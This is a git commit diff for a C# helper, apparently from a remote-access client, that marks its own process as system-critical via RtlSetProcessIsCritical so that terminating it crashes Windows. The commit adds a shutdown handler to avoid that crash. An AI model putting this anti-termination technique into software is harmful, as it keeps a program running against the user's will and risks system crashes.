Fixed BSOD when pc shutdown\restart
This commit is contained in:
parent
98274c6f1c
commit
fb9a8249d7
@ -1,4 +1,5 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
@ -7,10 +8,16 @@ namespace Client.Helper
|
||||
{
|
||||
public static class ProcessCritical
|
||||
{
|
||||
|
||||
public static void SystemEvents_SessionEnding(object sender, SessionEndingEventArgs e)
|
||||
{
|
||||
Exit();
|
||||
}
|
||||
public static void Set()
|
||||
{
|
||||
try
|
||||
{
|
||||
SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
|
||||
Process.EnterDebugMode();
|
||||
RtlSetProcessIsCritical(1, 0, 0);
|
||||
}
|
||||
@ -24,7 +31,7 @@ namespace Client.Helper
|
||||
}
|
||||
catch
|
||||
{
|
||||
while(true)
|
||||
while (true)
|
||||
{
|
||||
Thread.Sleep(100000); //prevents a BSOD on exit failure
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user